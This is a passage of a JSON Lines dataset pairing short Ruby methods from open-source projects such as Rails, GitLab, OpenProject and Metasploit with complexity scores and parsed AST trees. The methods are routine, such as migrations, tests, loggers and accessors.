{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/memory/reports_daemon.rb","start_line":30,"raw_source":"def run_thread\n        while alive\n          sleep interval_with_jitter\n\n          reports.select(&:active?).each do |report|\n            @reporter.run_report(report)\n\n            sleep sleep_between_reports_s\n          end\n        end\n      end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run_thread\",{\"type\":\"args\",\"children\":[]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alive\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[null,\"interval_with_jitter\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reports\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"active?\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"report\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reporter\"]},\"run_report\",{\"type\":\"lvar\",\"children\":[\"report\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[null,\"sleep_between_reports_s\"]}]}]}]}]}]}]}","id":"f873cc57-de0a-4786-afc1-04a7c28f2dec"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/20241120103858_add_start_end_times_to_time_entries.rb","start_line":32,"raw_source":"def change\n    change_table :time_entries, bulk: true do |t|\n      t.integer :start_time, null: true\n      t.integer :end_time, null: true\n    end\n\n    change_table :time_entry_journals, bulk: true do |t|\n      t.integer :start_time, null: true\n      t.integer :end_time, null: true\n    end\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"time_entries\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"end_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"time_entry_journals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"end_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}","id":"a142923a-b26d-4afc-955d-68f262cb2aa4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":941,"raw_source":"def test_new_record_returns_boolean\n    assert_equal false, Topic.new.persisted?\n    assert_equal true, Topic.find(1).persisted?\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_new_record_returns_boolean\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\"]},\"persisted?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},\"persisted?\"]}]}]}]}","id":"6d10f810-ea98-46af-b661-ecebd3f0c60f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/web/fuzzable.rb","start_line":81,"raw_source":"def fuzz_wrapper( cfuzzer = nil, &block )\n    self.fuzzer ||= cfuzzer\n    permutations.each do |p|\n      block.call p\n    end\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"fuzz_wrapper\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"cfuzzer\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fuzzer\"]},{\"type\":\"lvar\",\"children\":[\"cfuzzer\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permutations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}","id":"0229a4d3-09ff-4072-b2ed-4c7f9f87eeb3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/provider.rb","start_line":36,"raw_source":"def self.short_token\n    parent.name.demodulize\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"short_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"name\"]},\"demodulize\"]}]}","id":"b4055867-ccaa-439d-8d09-7896e6b44b92"}
{"repo_name":"pundit","file_path":"./repos/pundit/lib/pundit/context.rb","start_line":186,"raw_source":"def pundit_model(record)\n      record.is_a?(Array) ? record.last : record\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"pundit_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"last\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}","id":"9d527b56-1c62-4a3a-82d3-f40514853c83"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/mail_starttls_patch.rb","start_line":20,"raw_source":"def setting_provided?(key)\n      !settings[key].nil?\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setting_provided?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"nil?\"]},\"!\"]}]}","id":"b3080d95-8c46-4ce8-8625-eecc53e547f6"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/app_store_version_phased_release.rb","start_line":50,"raw_source":"private def update(state)\n        Spaceship::ConnectAPI.patch_app_store_version_phased_release(app_store_version_phased_release_id: id, attributes: {\n          phasedReleaseState: state\n        }).to_models.first\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private\",{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"patch_app_store_version_phased_release\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_store_version_phased_release_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"phasedReleaseState\"]},{\"type\":\"lvar\",\"children\":[\"state\"]}]}]}]}]}]},\"to_models\"]},\"first\"]}]}]}","id":"a7d32018-0c51-4c24-a165-094633c838df"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/attachment_batch.rb","start_line":137,"raw_source":"def nullified_attributes\n    @attachment_names.flat_map { |attachment_name| NULLABLE_ATTRIBUTES.map { |attribute| \"#{attachment_name}_#{attribute}\" } & klass.column_names }.index_with(nil)\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"nullified_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attachment_names\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NULLABLE_ATTRIBUTES\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment_name\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]},\"&\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"column_names\"]}]}]},\"index_with\",{\"type\":\"nil\",\"children\":[]}]}]}","id":"433f1803-4378-4114-ab78-22fa6a198312"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-http/lib/gitlab/http_v2/url_blocker.rb","start_line":332,"raw_source":"def validate_unicode_restriction(uri)\n          return if uri.to_s.ascii_only?\n\n          raise BlockedUrlError, \"URI must be ascii only #{uri.to_s.dump}\"\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_unicode_restriction\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"to_s\"]},\"ascii_only?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"BlockedUrlError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"URI must be ascii only \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"to_s\"]},\"dump\"]}]}]}]}]}]}","id":"d5d873c2-e81c-441a-9348-ecd31dccc799"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/ci/pipeline_analytics_resolver.rb","start_line":136,"raw_source":"def selected_duration_percentiles(aggregate_lookahead)\n        return [] unless aggregate_lookahead\n\n        ::Ci::CollectPipelineAnalyticsServiceBase::ALLOWED_PERCENTILES.filter do |percentile|\n          aggregate_lookahead.selection(:duration_statistics).selects?(\"p#{percentile}\")\n        end\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"selected_duration_percentiles\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"aggregate_lookahead\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aggregate_lookahead\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"CollectPipelineAnalyticsServiceBase\"]},\"ALLOWED_PERCENTILES\"]},\"filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"percentile\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aggregate_lookahead\"]},\"selection\",{\"type\":\"sym\",\"children\":[\"duration_statistics\"]}]},\"selects?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"p\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percentile\"]}]}]}]}]}]}]}","id":"8d2bd978-5dea-43ea-8472-cdf1a06a1acb"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/extensions/action/slice_configured_action.rb","start_line":14,"raw_source":"def initialize(slice)\n          super()\n          @slice = slice\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slice\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@slice\",{\"type\":\"lvar\",\"children\":[\"slice\"]}]}]}]}","id":"b2c4f6c9-bb4f-4ad5-83ee-cf2983da91f0"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server_ssl.rb","start_line":590,"raw_source":"def test_chain_cert_string_without_ca\n    cert_chain { |mini_ctx| mini_ctx.cert_pem = File.read \"#{CHAIN_DIR}/cert_chain.pem\" }\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_chain_cert_string_without_ca\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cert_chain\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mini_ctx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mini_ctx\"]},\"cert_pem=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CHAIN_DIR\"]}]},{\"type\":\"str\",\"children\":[\"/cert_chain.pem\"]}]}]}]}]}]}","id":"c5c658d7-aa43-403c-8c42-93b8ef76f1c3"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/tasks/changelog.rb","start_line":158,"raw_source":"def parse(content)\n    ss = StringScanner.new(content)\n    @header = ss.scan_until(FIRST_HEADER)\n    @unreleased = parse_release(ss.scan_until(/\\n(?=## )/m))\n    @rest = ss.rest\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ss\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringScanner\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@header\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ss\"]},\"scan_until\",{\"type\":\"const\",\"children\":[null,\"FIRST_HEADER\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@unreleased\",{\"type\":\"send\",\"children\":[null,\"parse_release\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ss\"]},\"scan_until\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\n(?=## )\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@rest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ss\"]},\"rest\"]}]}]}]}","id":"2bf28af1-9484-4839-a032-a4151ad847d1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/inheritance_test.rb","start_line":124,"raw_source":"def test_descends_from_active_record\n    assert_not_predicate ActiveRecord::Base, :descends_from_active_record?\n\n    # Abstract subclass of AR::Base.\n    assert_predicate LoosePerson, :descends_from_active_record?\n\n    # Concrete subclass of an abstract class.\n    assert_predicate LooseDescendant, :descends_from_active_record?\n\n    # Concrete subclass of AR::Base.\n    assert_predicate TightPerson, :descends_from_active_record?\n\n    # Concrete subclass of a concrete class but has no type column.\n    assert_predicate TightDescendant, :descends_from_active_record?\n\n    # Concrete subclass of AR::Base.\n    assert_predicate Post, :descends_from_active_record?\n\n    # Concrete subclasses of a concrete class which has a type column.\n    assert_not_predicate StiPost, :descends_from_active_record?\n    assert_not_predicate SubStiPost, :descends_from_active_record?\n\n    # Abstract subclass of a concrete class which has a type column.\n    # This is pathological, as you'll never have Sub < Abstract < Concrete.\n    assert_not_predicate AbstractStiPost, :descends_from_active_record?\n\n    # Concrete subclass of an abstract class which has a type column.\n    assert_not_predicate SubAbstractStiPost, :descends_from_active_record?\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_descends_from_active_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},{\"type\":\"sym\",\"children\":[\"descends_from_active_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"const\",\"children\":[null,\"LoosePerson\"]},{\"type\":\"sym\",\"children\":[\"descends_from_active_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"const\",\"children\":[null,\"LooseDescendant\"]},{\"type\":\"sym\",\"children\":[\"descends_from_active_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"const\",\"children\":[null,\"TightPerson\"]},{\"type\":\"sym\",\"children\":[\"descends_from_active_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"const\",\"children\":[null,\"TightDescendant\"]},{\"type\":\"sym\",\"children\":[\"descends_from_active_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"const\",\"children\":[null,\"Post\"]},{\"type\":\"sym\",\"children\":[\"descends_from_active_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"const\",\"children\":[null,\"StiPost\"]},{\"type\":\"sym\",\"children\":[\"descends_from_active_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"const\",\"children\":[null,\"SubStiPost\"]},{\"type\":\"sym\",\"children\":[\"descends_from_active_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"const\",\"children\":[null,\"AbstractStiPost\"]},{\"type\":\"sym\",\"children\":[\"descends_from_active_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"const\",\"children\":[null,\"SubAbstractStiPost\"]},{\"type\":\"sym\",\"children\":[\"descends_from_active_record?\"]}]}]}]}","id":"3ddc00fd-4abb-4bbc-ae20-7b12842e1b99"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/log.rb","start_line":648,"raw_source":"def initialize(logger)\n      @logger = logger\n      @level = @logger.level\n      @format = nil\n      @depth_offset = 2\n      if logger.instance_variable_defined?(:@suppress_repeated_stacktrace)\n        @suppress_repeated_stacktrace = logger.instance_variable_get(:@suppress_repeated_stacktrace)\n      end\n      if logger.instance_variable_defined?(:@forced_stacktrace_level)\n        @forced_stacktrace_level = logger.instance_variable_get(:@forced_stacktrace_level)\n      end\n      if logger.instance_variable_defined?(:@ignore_repeated_log_interval)\n        @ignore_repeated_log_interval = logger.instance_variable_get(:@ignore_repeated_log_interval)\n      end\n      if logger.instance_variable_defined?(:@ignore_same_log_interval)\n        @ignore_same_log_interval = logger.instance_variable_get(:@ignore_same_log_interval)\n      end\n\n      self.format = @logger.format\n      self.time_format = @logger.time_format\n      enable_color @logger.enable_color?\n    end","complexity_score":28.25,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"logger\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"lvar\",\"children\":[\"logger\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@level\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"level\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@format\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@depth_offset\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@suppress_repeated_stacktrace\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@suppress_repeated_stacktrace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@suppress_repeated_stacktrace\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@forced_stacktrace_level\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@forced_stacktrace_level\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@forced_stacktrace_level\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@ignore_repeated_log_interval\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ignore_repeated_log_interval\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@ignore_repeated_log_interval\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@ignore_same_log_interval\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ignore_same_log_interval\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@ignore_same_log_interval\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"format=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"format\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"time_format=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"time_format\"]}]},{\"type\":\"send\",\"children\":[null,\"enable_color\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"enable_color?\"]}]}]}]}","id":"c49385fd-f1e2-4f86-8d49-4c1bb8da9ad6"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/actions_test.rb","start_line":357,"raw_source":"def test_vendor_should_write_data_to_file_in_vendor\n    action :vendor, \"vendor_file.rb\", \"# vendor data\"\n    assert_file \"vendor/vendor_file.rb\", \"# vendor data\\n\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_vendor_should_write_data_to_file_in_vendor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\",{\"type\":\"sym\",\"children\":[\"vendor\"]},{\"type\":\"str\",\"children\":[\"vendor_file.rb\"]},{\"type\":\"str\",\"children\":[\"# vendor data\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"vendor/vendor_file.rb\"]},{\"type\":\"str\",\"children\":[\"# vendor data\\n\"]}]}]}]}","id":"062363ab-7a90-434a-9880-912cc8c6212c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/winrm/rex_http_transport.rb","start_line":25,"raw_source":"def peerinfo\n        if http_client && http_client.conn\n          http_client.conn.peerinfo\n        end\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"peerinfo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"http_client\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"http_client\"]},\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"http_client\"]},\"conn\"]},\"peerinfo\"]},null]}]}","id":"0bd97bcb-2aac-4a41-b0ae-450282cec7ad"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/version.rb","start_line":76,"raw_source":"def product_url\n        cached_or_block(:@product_url) do\n          read_optional \"PRODUCT_URL\"\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"product_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_or_block\",{\"type\":\"sym\",\"children\":[\"@product_url\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"read_optional\",{\"type\":\"str\",\"children\":[\"PRODUCT_URL\"]}]}]}]}","id":"de834af7-b3fa-4141-b3b0-4e959e77ebad"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/redirect_test.rb","start_line":260,"raw_source":"def test_redirect_with_status\n    get :redirect_with_status\n    assert_response 301\n    assert_equal \"http://test.host/redirect/hello_world\", redirect_to_url\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_redirect_with_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"redirect_with_status\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"int\",\"children\":[301]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://test.host/redirect/hello_world\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to_url\"]}]}]}]}","id":"30dbc515-9b4b-408b-b224-01dd7a0075fc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/packages/helm/create_metadata_cache_worker.rb","start_line":18,"raw_source":"def perform(project_id, channel)\n        project = Project.find_by_id(project_id)\n        return unless project\n\n        response = ::Packages::Helm::CreateMetadataCacheService\n          .new(project, channel)\n          .execute\n\n        return if response.success?\n\n        error = CreationFailedError.new(response.message)\n        log_error(error, project_id, channel)\n      rescue StandardError => e\n        log_error(e, project_id, channel)\n      